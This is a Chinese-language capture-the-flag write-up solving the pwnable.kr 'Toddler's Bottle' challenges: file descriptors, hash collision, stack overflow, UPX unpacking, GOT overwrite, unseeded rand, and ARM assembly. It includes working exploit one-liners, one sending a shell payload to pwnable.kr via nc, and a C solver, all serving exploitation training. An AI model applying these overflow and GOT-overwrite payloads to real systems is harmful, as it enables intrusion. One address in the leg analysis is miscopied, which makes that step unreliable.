pwnable.kr解题write up —— Toddler's Bottle(一)

1. fd

#include 
#include 
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

ssh链接上后,发现当前目录有一个setuid的fd可执行文件以及其源码,还有一个flag文件。源码逻辑比较简单,读取一个文件,若读入内容和LETMEWIN一致,则打印flag中的内容。其中,文件描述符是由用户输入的。查阅文件IO相关API,可以找到,0,1,2分别是代表的stdin,stdout和stderr,所以只要是文件描述符为0,就可以输入指定内容了。


2. collision

#include 
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

输入20个字符,然后这20个字符会被分成5段,每段当成int处理,进行求和,结果为0x21DD09EC就可以通过。这个题目通过编程,把它的逻辑反过来写,可以很容易得到目标输出。


3. bof

#include 
#include 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        printf("%x\n", key);
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
从源码可以看出,目标是通过gets方法,改写掉key的值。使用gdb打开,输入几个a作测试,可以找到输入地址和目标地址。计算可以得到相差52个字节。

pwnable.kr解题write up —— Toddler's Bottle(一)_第1张图片

另外,编译时,启用了canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。

命令:(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000

PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell。


4. flag

需要对一个可执行文件进行逆向分析。开始尝试各种工具(IDA,gdb,objdump)都不好使,好来看了别人的writeup,才知道是经过UPX打包了。google了一下,知道检测upx打包的方法是查询UPX!或者UPX0的存在,用strings一看,果然最后两行是UPX!。于是下载upx工具,直接解包,工具就都可以使用了。

直接运行程序,可以得到提示I will malloc() and strcpy the flag there. take it.。汇编码如下:

pwnable.kr解题write up —— Toddler's Bottle(一)_第2张图片

可以看出main函数确实执行了malloc,因此,只需要断点到main函数末尾,然后打印malloc得到的地址即可。这里使用x/s $rax即可得到flag。


6. passcode

#include 
#include 

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

可以看见,scanf被误用了,导致没办法正确的给passcode1和passcode2赋值。不过,可以看到,该函数首先调用了welcome函数,并接受了一个100个字符的输入,可以用来预先构造栈。通过gdb,可以得到name的地址为-0x70(%ebp),passcode1为-0x10(%ebp),passcode2为-0xc(%ebp)。因为在welcome中,只接收了一个100个字符的输入,因此,只能给passcode1赋值,无法直接改变passcode2。于是直接修改passcode1和passcode2的值,满足if条件,是不可行的了。

但是,通过控制passcode1的值,配合scanf,可以做到任意位置写入4个字节。通常来说,是需要修改函数返回地址的。但是,在这个程序中,如果条件不满足,就直接调用exit退出,不存在出栈的过程。于是,就只能采用另一种手段,通过修改plt,引导exit的调用到system处,就可以执行了。(在C中,当程序需要调用library中的函数时,程序会到plt中去寻找跳转的地址。例如,在本例中,执行exit的语句为call   0x8048480 , 其中0x8048480就是指向的plt表格,而在plt中,对应地址的指令为jmp    *0x804a018,即为寻找exit真实的地址,并跳转的exit处。)在这里,只需要将0x804a018地址的值指向system,就可以执行目标语句了。

命令: python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode


7. random

#include 

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

使用rand时,如果不提供一个随机种子,就会产生一样的结果,这就是伪随机的效果。因此,用gdb运行这个文件,在rand后打下断点,打印出random的值为0x6b8b4567。0x6b8b4567^0xdeadbeef=3039230856,就是结果了。


8. input

#include 
#include 
#include 
#include 
#include 

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

这题逻辑上比较简单,一部分一部分的来通过就行了。考虑到需要参数,环境变量的特殊性,这题使用execve比较合适。

stdio是个难点,看了别人的答案后才知道,需要使用dup2强行关闭stdin和stderr,替换成自己想要打开的文件。

socket部分直接使用原来代码,稍加修改就可以通过了。

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(){
        char *argv[101];
        char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
        int i;
        int fd1,fd2;

        for(i=0;i<100;i++){
                argv[i] = "A";
        }
        argv[100] = NULL;
        argv[0] = "input";
        argv['A'] = "\x00";
        argv['B'] = "\x20\x0a\x0d";
        argv['C'] = "55555";
        if(fork() == 0){
                int err;
                int fd = open("\x0a", O_RDWR|O_CREAT,0644);
                write(fd, "\x00\x00\x00\x00", 4, 1);
                close(fd);

                fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644);
                fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644);
                dup2(fd1,0);
                dup2(fd2,2);
                write(fd1, "\x00\x0a\x00\xff", 4);
                write(fd2, "\x00\x0a\x02\xff", 4);
                lseek(fd1,0,SEEK_SET);
                lseek(fd2,0,SEEK_SET);
                printf("executing\n");
                err=execve("/home/input/input", argv, envp);
                printf("%d\n", err);
                printf("%s\n", strerror(errno));
        }else{
                int sd, cd;
                struct sockaddr_in saddr, caddr;
                sleep(5);
                printf("connecting\n");
                sd = socket(AF_INET, SOCK_STREAM, 0);
                if(sd == -1){
                        printf("socket error, tell admin\n");
                        return 0;
                }
                saddr.sin_family = AF_INET;
                saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
                saddr.sin_port = htons( atoi(argv['C']) );
                connect(sd, (struct sockaddr *)&saddr, sizeof(saddr));
                send(sd, "\xde\xad\xbe\xef", 4, 0);
                close(sd);
        }
}


9. leg

#include 
#include 
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

代码如下,属于汇编码分析。直接目标就是获取key1,key2和key3的返回值。调用部分的汇编如下

   0x00008d68 <+44>:	bl	0x8cd4 
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

可以看出,返回值都是存储在r0中的。下面一个一个来分析

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
关键指令就是0x8cdc,可以看出pc的值就是返回结果。通过文档,可以知道,当处于arm状态时,pc的值为当前指令加8,thumb状态时,pc的值为当前指令加4。状态转换是由blx或者bx指令来进行转换的。因此,当前pc的值为0x8cdc+8。

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
和key1类似,先是从pc中获取值。不过注意到,在获取pc值之前,执行了指令bx r6,因此状态发生了改变,此时pc的值应当为0x8d04+4。指令0x8d06又将r3加了4,所以最终结果为0x8d0f+4+4。
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
key3的返回结果为lr,查询可知lr保存的是返回地址。因此就是跳转到key3指令的下一条,0x8d80。

三者相加,即可得到最终结果。


你可能感兴趣的:(security,CTF,security)